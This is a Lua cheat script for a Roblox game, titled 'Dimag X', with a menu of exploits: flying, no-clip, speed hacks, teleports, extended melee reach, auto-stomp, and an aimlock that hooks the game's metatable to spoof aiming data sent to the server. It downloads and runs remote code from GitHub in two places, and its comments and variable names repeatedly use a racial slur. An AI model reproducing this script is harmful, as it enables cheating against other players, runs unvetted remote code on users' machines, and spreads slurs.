local UILibrary = loadstring(game:HttpGet("https://raw.githubusercontent.com/bloodball/-back-ups-for-libs/main/twink"))() local MainUI = UILibrary.Load("Dimag X") local MainPage = MainUI.AddPage("Main") local CombatPage = MainUI.AddPage("Combat") local teleportPage = MainUI.AddPage("Teleports") local AimlockPage = MainUI.AddPage("Aimlock") local FunstuffPage = MainUI.AddPage("Fun Stuff") local AutoBuyPage = MainUI.AddPage("Auto Buy") local TargetPage = MainUI.AddPage("Target") local GodPage = MainUI.AddPage("God Stuff") local autofarm = MainUI.AddPage("Autofarms") local AnimationsPage = MainUI.AddPage("Animations") local CreditsPage = MainUI.AddPage("Credits") -- // Notifs game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Dimag X was founded by Dimag16 in 2022", Icon = "rbxassetid://505845268", Duration = 10, Button1 = "Alright We Winning!"}) game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Made by dylann#0009 and jokerr#9999", Icon = "rbxassetid://505845268", Duration = 9, Button1 = "Alright They Are Pro!"}) -- // TOGGLE! (DONT FUCK UP MY FUCKING TOGGLE NIGGER) local Mouse = game.Players.LocalPlayer:GetMouse() local Closed = true Mouse.KeyDown:connect(function(key) if key == "v" then if Closed == true then Closed = false game.CoreGui["Dimag X"].Enabled = false else Closed = true game.CoreGui["Dimag X"].Enabled = true end end end) local MainButton = MainPage.AddButton("Fly (X)", function() local plr = game.Players.LocalPlayer local mouse = plr:GetMouse() localplayer = plr if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end local Core = Instance.new("Part") Core.Name = "Core" Core.Size = Vector3.new(0.05, 0.05, 0.05) spawn(function() Core.Parent = workspace local Weld = Instance.new("Weld", Core) Weld.Part0 = Core Weld.Part1 = localplayer.Character.LowerTorso Weld.C0 = CFrame.new(0, 0, 0) end) workspace:WaitForChild("Core") local torso = workspace.Core flying = true local speed=7.5 local keys={a=false,d=false,w=false,s=false} local e1 local e2 local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name="EPIXPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) gyro.cframe = torso.CFrame repeat wait() localplayer.Character.Humanoid.PlatformStand=true local new=gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed=7.5 end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.d then new = new * CFrame.new(speed,0,0) speed=speed+0 end if keys.a then new = new * CFrame.new(-speed,0,0) speed=speed+0 end if speed>3.2 then speed=7.5 end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*0),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*0),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until flying == false if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying=false localplayer.Character.Humanoid.PlatformStand=false speed=7.5 end e1=mouse.KeyDown:connect(function(key) if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end if key=="w" then keys.w=true elseif key=="s" then keys.s=true elseif key=="a" then keys.a=true elseif key=="d" then keys.d=true elseif key=="x" then if flying==true then flying=false else flying=true start() end end end) e2=mouse.KeyUp:connect(function(key) if key=="w" then keys.w=false elseif key=="s" then keys.s=false elseif key=="a" then keys.a=false elseif key=="d" then keys.d=false end end) start() end) local MainToggle = MainPage.AddToggle("No Clip", false, function(t) loadstring(game:HttpGet("https://raw.githubusercontent.com/LegoHacker1337/legohacks/main/PhysicsServiceOnClient.lua"))() setfflag("HumanoidParallelRemoveNoPhysics", "False") setfflag("HumanoidParallelRemoveNoPhysicsNoSimulate2", "False") if t == true then game:GetService('RunService'):BindToRenderStep("crash", 0 , function() game.Players.LocalPlayer.Character.Humanoid:ChangeState(11) end) elseif t == false then game:GetService('RunService'):UnbindFromRenderStep("crash") end end) local MainButton = MainPage.AddButton("Hide User", function() if game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask") then game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask"):FindFirstChildWhichIsA("Model"):Destroy() game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask"):FindFirstChild('Handle'):Destroy() end end) local xdfporn = MainPage.AddButton("Force Reset", function() for i, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v:IsA("BasePart") then v:Destroy() end end end) local MainButton = MainPage.AddButton("Korblox", function() local ply = game.Players.LocalPlayer local chr = ply.Character chr.RightLowerLeg.MeshId = "902942093" chr.RightLowerLeg.Transparency = "1" chr.RightUpperLeg.MeshId = "http://www.roblox.com/asset/?id=902942096" chr.RightUpperLeg.TextureID = "http://roblox.com/asset/?id=902843398" chr.RightFoot.MeshId = "902942089" chr.RightFoot.Transparency = "1" end) local MainButton = MainPage.AddButton("Headless", function() game.Players.LocalPlayer.Character.Head.Transparency = 1 game.Players.LocalPlayer.Character.Head.Transparency = 1 for i,v in pairs(game.Players.LocalPlayer.Character.Head:GetChildren()) do if (v:IsA("Decal")) then v.Transparency = 1 end end end) local unjailbutton = MainPage.AddButton("Unjail", function() if game:GetService("Players").LocalPlayer.DataFolder.Currency.Value >= 125 then game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-270.94, 20.327, -242.38) game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-270.94, 20.327, -242.38) wait() fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector) wait(.1) fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector) fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector) repeat wait() until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("[Key]") local Hum = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if Hum.Health > 0 then key1 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("[Key]") if key1 then Hum:EquipTool(key1) for i, v in pairs(game:GetService"Players".LocalPlayer.Character:GetChildren()) do if v:isA("Tool") then game:GetService("Players").LocalPlayer.Character.Humanoid:EquipTool(key1) game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-485.668, 23.631, -285.169) v:Activate() end end end end end end) local naked = MainPage.AddButton("Anonymous (Removes clothes)", function() local function inTable(What, Table) for Index, Value in pairs(Table) do if What == Value then return true end end return false end local removingClasses = { "Accessory", "Pants", "Shirt", } for _, Instance in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if inTable(Instance.ClassName, removingClasses) or Instance.Name == "face" then Instance:Destroy() end end end) local qtotp = MainPage.AddButton("- to TP", function() plr = game.Players.LocalPlayer hum = plr.Character.HumanoidRootPart mouse = plr:GetMouse() mouse.KeyDown:connect(function(key) if key == "-" then if mouse.Target then hum.CFrame = CFrame.new(mouse.Hit.x, mouse.Hit.y + 5, mouse.Hit.z) end end end) end) local antibag = MainPage.AddButton("Anti-Bag", function() local LP = game.Players.LocalPlayer; for i,v in ipairs(LP.Character:GetDescendants()) do if v.Name == "Christmas_Sock" then v:Destroy() end; end; LP.Character.ChildAdded:Connect(function() wait(0.3) for i,v in ipairs(LP.Character:GetDescendants()) do if v.Name == "Christmas_Sock" then v:Destroy() end; end; end); end) local FirstSlider = MainPage.AddSlider("Walk Speed", {Min = 0, Max = 150, Def = 50}, function(t) game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').Name = 'SWAG MODE' game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').WalkSpeed = t if t == 16 then game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').Name = 'Humanoid' game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').WalkSpeed = 16 end end) local MainButton = MainPage.AddButton("Trash Talk", function() function dowait() wait(0.172) end local tbl_main = { "focus up son." , "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main)) dowait() local tbl_main = { "run my hours." , "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main)) dowait() local tbl_main = { "your so bad dont duck." , "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main)) dowait() local tbl_main = { "lol airshotted so bad." , "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main)) dowait() local tbl_main = { "ur bad kid run officials." , "All" } game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main)) end) local MainButton = MainPage.AddButton("No Display Names", function() pcall(function() for i, v in pairs(game:GetService("Players"):GetPlayers()) do if v.Character then if v.Character:FindFirstChild("Humanoid") then v.Character:FindFirstChild("Humanoid").DisplayName = v.Name end end end end) end) local MainButton = MainPage.AddButton("Ungrab", function() local player = game.Players.LocalPlayer local GC = game:GetService("Workspace").Players:WaitForChild(player.Name):FindFirstChild("GRABBING_CONSTRAINT") if GC then GC:Destroy() wait(0.04) player.character.Humanoid.Sit = true wait(0.04) game.Players.LocalPlayer.Character.Humanoid:ChangeState(3) end end) local MainButton = MainPage.AddButton("Rejoin", function() game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, game.JobId, game.Players.LocalPlayer) end) --------------- -- Combat Nigger local FirstButton = CombatPage.AddButton("Inf-Jump", function() local player = game.Players.LocalPlayer local spacedown = false staminup = true game:GetService('UserInputService').InputBegan:Connect(function(key,b) if key.KeyCode == Enum.KeyCode.Space and not b then if staminup == true then spacedown = true while spacedown == true do wait() player.Character:FindFirstChildWhichIsA('Humanoid').JumpPower = 50 player.Character:FindFirstChildWhichIsA('Humanoid').Jump = true player.Character:FindFirstChildWhichIsA('Humanoid').JumpPower = 50 end end end end) game:GetService('UserInputService').InputEnded:Connect(function(key,b) if key.KeyCode == Enum.KeyCode.Space and not b then if staminup == true then spacedown = false end end end) end) local FirstToggle = CombatPage.AddToggle("Anti-Slow", false, function(gh) if gh == true then game:GetService('RunService'):BindToRenderStep("Anti-Slow", 0 , function() if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoWalkSpeed") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoWalkSpeed"):Destroy() end if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("ReduceWalk") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("ReduceWalk"):Destroy() end if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoJumping") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoJumping"):Destroy() end if game.Players.LocalPlayer.Character.BodyEffects.Reload.Value == true then game.Players.LocalPlayer.Character.BodyEffects.Reload.Value = false end end) elseif gh == false then game:GetService('RunService'):UnbindFromRenderStep("Anti-Slow") end end) local FirstToggle = CombatPage.AddToggle("Fist Reach!", false, function(e) if e == true then game:GetService('RunService'):BindToRenderStep("Reach", 0 , function() local success, err = pcall(function() if game.Players.LocalPlayer.Character.BodyEffects.Attacking.Value == true then for i,v in pairs(game:GetService('Players'):GetChildren()) do if (v.Character.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.LeftHand.Position).Magnitude <= 50 then if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild('Handle') then firetouchinterest(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Handle, v.Character.UpperTorso, 0) else firetouchinterest(game.Players.LocalPlayer.Character['RightHand'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftHand'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['RightFoot'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftFoot'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['RightLowerLeg'], v.Character.UpperTorso, 0) firetouchinterest(game.Players.LocalPlayer.Character['LeftLowerLeg'], v.Character.UpperTorso, 0) end end end end end end) end) elseif e == false then game:GetService('RunService'):UnbindFromRenderStep("Reach") end end) local FirstToggle = CombatPage.AddButton("Tool Reach!", function() for i, v in pairs(game:GetService"Players".LocalPlayer.Character:GetChildren()) do if v:isA("Tool") then local a = Instance.new("SelectionBox", v.Handle) a.Adornee = v.Handle v.Handle.Size = Vector3.new(50, 50, 50) v.Handle.Transparency = 1 v.GripPos = Vector3.new(0, 0, 0) end end end) local FirstToggle = CombatPage.AddToggle("Auto-Stomp", false, function(r) if r == true then game:GetService('RunService'):BindToRenderStep("Auto-Stomp", 0 , function() game:GetService("ReplicatedStorage").MainEvent:FireServer("Stomp") end) elseif r == false then game:GetService('RunService'):UnbindFromRenderStep("Auto-Stomp") end end) local FirstToggle = CombatPage.AddToggle("Anti-Stomp", false, function(x) if x == true then game:GetService('RunService'):BindToRenderStep("Anti-Stomp", 0 , function() if game.Players.LocalPlayer.Character.Humanoid.Health <= 5 then for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA('MeshPart') or v:IsA('Part') then v:Destroy() end end for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v:IsA('Accessory') then v.Handle:Destroy() end end end end) elseif x == false then game:GetService('RunService'):UnbindFromRenderStep("Anti-Stomp") end end) local FirstToggle = CombatPage.AddToggle("Auto-Reload", false, function(r) if r == true then game:GetService('RunService'):BindToRenderStep("Auto-Reload", 0 , function() if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChild("Ammo") then if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChild("Ammo").Value <= 0 then game:GetService("ReplicatedStorage").MainEvent:FireServer("Reload", game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool")) wait(1) end end end end) elseif r == false then game:GetService('RunService'):UnbindFromRenderStep("Auto-Reload") end end) local xdpussy = CombatPage.AddButton("Free Fists [Q]", function() -- // Variables local localPlayer = game:GetService("Players").LocalPlayer local localCharacter = localPlayer.Character local Mouse = localPlayer:GetMouse() local FistControl = false local LeftFist = localCharacter.LeftHand local RightFist = localCharacter.RightHand -- // Services local uis = game:GetService("UserInputService") -- // Coroutine Loop + Functions local loopFunction = function() LeftFist.CFrame = CFrame.new(Mouse.Hit.p) RightFist.CFrame = CFrame.new(Mouse.Hit.p) end local Loop local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction) end local Pause = function() Loop:Disconnect() end -- // Hotkeys uis.InputBegan:connect(function(Key) if (Key.KeyCode == Enum.KeyCode.Q) then if (FistControl == false) then FistControl = true Start() pcall(function() localCharacter.RightHand.RightWrist:Remove() localCharacter.LeftHand.LeftWrist:Remove() end) elseif (FistControl == true) then FistControl = false Pause() local rightwrist = Instance.new("Motor6D") rightwrist.Name = "RightWrist" rightwrist.Parent = localCharacter.RightHand rightwrist.C0 = CFrame.new(1.18422506e-07, -0.5009287, -6.81715525e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1) rightwrist.C1 = CFrame.new(3.55267503e-07, 0.125045404, 5.92112528e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) rightwrist.Part0 = localCharacter.RightLowerArm rightwrist.Part1 = localCharacter.RightHand local leftwrist = Instance.new("Motor6D") leftwrist.Name = "LeftWrist" leftwrist.Parent = localCharacter.LeftHand leftwrist.C0 = CFrame.new(0.000475466368, -0.5009287, 7.59417072e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1) leftwrist.C1 = CFrame.new(0.000475821638, 0.125045404, 5.92112528e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1) leftwrist.Part0 = localCharacter.LeftLowerArm leftwrist.Part1 = localCharacter.LeftHand end end end) end) local FirstButton = CombatPage.AddButton("No Recoil", function() local player = game.Players.LocalPlayer for i,v in pairs(game:GetService('Workspace'):GetChildren()) do if v:IsA('Camera') then v:Destroy() end end local newcam = Instance.new('Camera') newcam.Parent = game:GetService('Workspace') newcam.Name = 'Camera' newcam.CameraType = 'Custom' newcam.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') newcam.HeadLocked = true newcam.HeadScale = 1 end) --------------- -- Teleports local SecondButton = teleportPage.AddButton("Admin Base", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-797.15, -39.6189, -887.957) end) local SecondButton = teleportPage.AddButton("Food Shop [Bank]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-335.141, 23.7129, -298.029) end) local SecondButton = teleportPage.AddButton("Food Shop [Uphill]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(298.477, 49.3129, -615.231) end) local SecondButton = teleportPage.AddButton("Food Shop [Taco]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(583.96, 51.0917, -479.596) end) local SecondButton = teleportPage.AddButton("Food Shop [Hamburger]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-279.501, 22.6801, -803.887) end) local SecondButton = teleportPage.AddButton("Gun Shop [Uphill]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(481.925, 48.1008, -621.23) end) local SecondButton = teleportPage.AddButton("Gun Shop [Armor]", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-580.27, 8.34504, -734.832) end) local SecondButton = teleportPage.AddButton("Bank", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-438.689, 39.0127, -284.731) end) local SecondButton = teleportPage.AddButton("Police Station", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-263.919, 21.8302, -112.858) end) local SecondButton = teleportPage.AddButton("Fire Department", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-129.534, 27.842, -113.062) end) local SecondButton = teleportPage.AddButton("Church", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(205.53, 21.7803, -80.2361) end) local SecondButton = teleportPage.AddButton("Casino", function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-904.457, 24.7803, -156.994) end) --------------- local SecondButton = AimlockPage.AddButton("Dimag Aimlock (Q)", function() _G.KEY = "q" _G.PART = "LowerTorso" _G.PRED = 0.037 _G.Frame = Vector3.new(0,0.53,0) _G.AIR = -0.5 _G.SHIT = 0.1 local CC = game:GetService "Workspace".CurrentCamera local Plr local enabled = false local accomidationfactor = nil local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) local guimain = Instance.new("Folder", game.CoreGui) getgenv().makemarker = function(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(4, 0, 4, 0) a.BackgroundTransparency = 0.1 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(50, 50) return (e) end local data = game.Players:GetPlayers() function noob(player) local character repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild(_G.PART), Color3.fromRGB(255, 255, 255), 0.0, 0) handler.Name = player.Name player.CharacterAdded:connect( function(Char) handler.Adornee = Char:WaitForChild(_G.PART) end ) local TextLabel = Instance.new("TextLabel", handler) TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0, -50) TextLabel.Size = UDim2.new(0, 100, 0, 100) TextLabel.Font = Enum.Font.SourceSansSemibold TextLabel.TextSize = 14 TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextStrokeTransparency = 0 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom TextLabel.Text = "Name: " .. player.Name TextLabel.ZIndex = 10 spawn( function() while wait() do if player.Character then --TextLabel.Text = player.Name.." | Bounty: "..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end ) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect( function(Player) noob(Player) end ) game.Players.PlayerRemoving:Connect( function(player) guimain[player.Name]:Destroy() end ) spawn( function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(0.1, 0.1, 0.1) placemarker.Transparency = _G.SHIT makemarker(placemarker, placemarker, Color3.fromRGB(255, 255, 255), 0.20, 0) end ) mouse.KeyDown:Connect( function(k) if k ~= _G.KEY then return end if enabled then -- guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) enabled = false TextLabel.TextColor3 = Color3.fromRGB(255, 20, 75) TextLabel.Text = "------" else --guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) enabled = true Plr = getClosestPlayerToCursor() TextLabel.TextColor3 = Color3.fromRGB(12, 255, 0) TextLabel.Text = Plr.Character.Humanoid.DisplayName end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild(_G.PART) then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService "RunService".Stepped:connect( function() if enabled and Plr.Character and Plr.Character:FindFirstChild(_G.PART) then placemarker.CFrame = CFrame.new(Plr.Character[_G.PART].Position + _G.Frame + (Plr.Character[_G.PART].Velocity * accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end ) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure( function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character[_G.PART].Position+ _G.Frame + (Plr.Character[_G.PART].Velocity * accomidationfactor) return old(unpack(args)) end return old(...) end ) game.Players.LocalPlayer.Chatted:Connect( function(Chat) if Chat == "print" then print(accomidationfactor) end end ) game.Players.LocalPlayer.Chatted:Connect( function(Chat) if Chat == "Code:1029" then _G.KEY = nil _G.AIR = nil _G.PART = nil _G.PRED = nil TextLabel.Visible = false end end ) game.Players.LocalPlayer.Chatted:Connect( function(Chat) if Chat == "Code:1030" then _G.KEY = "q" _G.PART = "UpperTorso" _G.PRED = 0.037 _G.Frame = Vector3.new(0,0.0,0) _G.AIR = -0.5 _G.SHIT = 1 end end ) game.Players.LocalPlayer.Chatted:Connect( function(Chat) if Chat == "P+" then _G.PRED = _G.PRED+0.001 end end ) game.Players.LocalPlayer.Chatted:Connect( function(Chat) if Chat == "P-" then _G.PRED = _G.PRED-0.001 end end ) --[[ while wait() do local ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() local Value = tostring(ping) local pingValue = Value:split(" ") local PingNumber = pingValue[1] accomidationfactor = PingNumber / 1000 + _G.PRED if getClosestPlayerToCursor().Character.Humanoid.Jump == true and AimlockTarget.Character.Humanoid.FloorMaterial == Enum.Material.Air then _G.PART = "RightFood" accomidationfactor = _G.AIR else getClosestPlayerToCursor().Character:WaitForChild("Humanoid").StateChanged:Connect(function(old,new) if new == Enum.HumanoidStateType.Freefall then _G.PART = "RightFood" accomidationfactor = _G.AIR else _G.PART = "UpperTorso" accomidationfactor = PingNumber / 1000 + _G.PRED end end) end end ]] while wait() do local ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() local Value = tostring(ping) local pingValue = Value:split(" ") local PingNumber = pingValue[1] accomidationfactor = PingNumber / 1000 + _G.PRED end end) -- funtab local fucknigger = FunstuffPage.AddButton("FOV [PRO]", function() workspace.CurrentCamera.FieldOfView = 120 end) local niggers = FunstuffPage.AddButton("Mask Names", function() for _, v in pairs(game:GetService("Players"):GetPlayers()) do if v and v.Character and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").DisplayDistanceType ~= Enum.HumanoidDisplayDistanceType.Viewer then v.Character:FindFirstChildOfClass("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.Viewer end end end) local niggerbutton = FunstuffPage.AddButton("PP Bat", function() local d = game.Players.LocalPlayer.Character.HumanoidRootPart.Position local k = game.Workspace.Ignored.Shop["[Bat] - $250"] game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then wait(.2) fireclickdetector(k:FindFirstChild("ClickDetector"), 4) toolf = game.Players.LocalPlayer.Backpack:WaitForChild("[Bat]") toolf.Parent = game.Players.LocalPlayer.Character wait() game.Players.LocalPlayer.Character:WaitForChild("[Bat]") game.Players.LocalPlayer.Character:WaitForChild("[Bat]").Grip = CFrame.new(-2.4000001, -0.699999988, 0, 0, 1, -0, -1, 0, -0, 0, 0, 1) game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripForward = Vector3.new(0, -1, -0) game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripPos = Vector3.new(1.2111, 1.11114, 1.8111) game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripUp = Vector3.new(-500000, 404, 5000000) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d) end end) local autoclick = FunstuffPage.AddButton("AutoClicker [v]", function() local Player = game:GetService("Players").LocalPlayer local Mouse = Player:GetMouse() local Clicking = false Mouse.KeyDown:Connect(function(Key) if Key == "v" then Clicking = not Clicking if Clicking == true then repeat mouse1click() wait(0.001) until Clicking == false end end end) end) local fuckme = MainPage.AddButton("Invisible Mask", function() local d = game.Players.LocalPlayer.Character.HumanoidRootPart.Position local k = game.Workspace.Ignored.Shop["[Surgeon Mask] - $25"] game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0) if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then wait(.2) fireclickdetector(k:FindFirstChild("ClickDetector"), 4) toolf = game.Players.LocalPlayer.Backpack:WaitForChild("Mask") toolf.Parent = game.Players.LocalPlayer.Character wait() game.Players.LocalPlayer.Character:WaitForChild("Mask") game:GetService("VirtualUser"):ClickButton1(Vector2.new()) game.Players.LocalPlayer.Character:WaitForChild("In-gameMask") game.Players.LocalPlayer.Character["In-gameMask"].Handle:Destroy() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d) end end) local bikeflyernigger = FunstuffPage.AddButton("Bike Fly", function() local speed = 20 local old local Plr = game.Players.LocalPlayer local wheels = {} local control = {q=false,e=false,w=false,a=false,s=false,d=false} local Mouse = Plr:GetMouse() Mouse.KeyDown:connect(function(KEY) local key = KEY:lower() if control[key] ~= nil then control[key]=true end end) Mouse.KeyUp:connect(function(KEY) local key = KEY:lower() if control[key] ~= nil then control[key]=false end end) while game.RunService.Stepped:wait() do local seat = (Plr.Character or Plr.CharacterAdded:wait()):WaitForChild("Humanoid").SeatPart if Plr.PlayerGui:FindFirstChild("MainScreenGui") and Plr.PlayerGui.MainScreenGui:FindFirstChild("Bar") and Plr.PlayerGui.MainScreenGui.Bar:FindFirstChild("Speed") then Plr.PlayerGui.MainScreenGui.Bar.Speed.bar.Size = UDim2.new(speed / 100 * 0.95, 0, 0.83, 0) else local c = Plr.PlayerGui.MainScreenGui.Bar.HP local g = c:Clone() g.Name = "Speed" g.Position = UDim2.new(0.5, 0, 1, -120) g.bar.BackgroundColor3 = Color3.fromRGB(255, 155, 0) g.Picture.Image.Image = "rbxassetid://181035717" g.TextLabel.Text = "Speed" g.Parent = c.Parent end if seat ~= nil and seat:IsDescendantOf(game.Workspace.Vehicles) then if seat ~= old then if old then old.Vel:Destroy() old.Gyro:Destroy() end old = seat for i = 1, 2 do if wheels[i] then wheels[i][2].Parent = wheels[i][1] end local wheel = seat.Parent.Wheel wheels[i] = {seat.Parent, wheel} wheel:remove() end local gyro = Instance.new("BodyGyro", seat) gyro.Name = "Gyro" local pos = Instance.new("BodyVelocity", seat) pos.Name = "Vel" gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) pos.MaxForce = Vector3.new(9e9, 9e9, 9e9) else seat.Gyro.cframe = workspace.CurrentCamera.CoordinateFrame local vel = CFrame.new(0, 0, 0) if control.w then vel = vel * CFrame.new(0, 0, -speed) end if control.s then vel = vel * CFrame.new(0, 0, speed) end if control.a then vel = vel * CFrame.new(-speed, 0, 0) end if control.d then vel = vel * CFrame.new(speed, 0, 0) end seat.Vel.Velocity = (seat.CFrame*vel).p - seat.CFrame.p end end if control.e and speed<100 then speed = speed + 1 end if control.q and speed > 0 then speed = speed - 1 end end end) local niggers = FunstuffPage.AddButton("Chat Logs", function() local LP = game.Players.LocalPlayer LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true 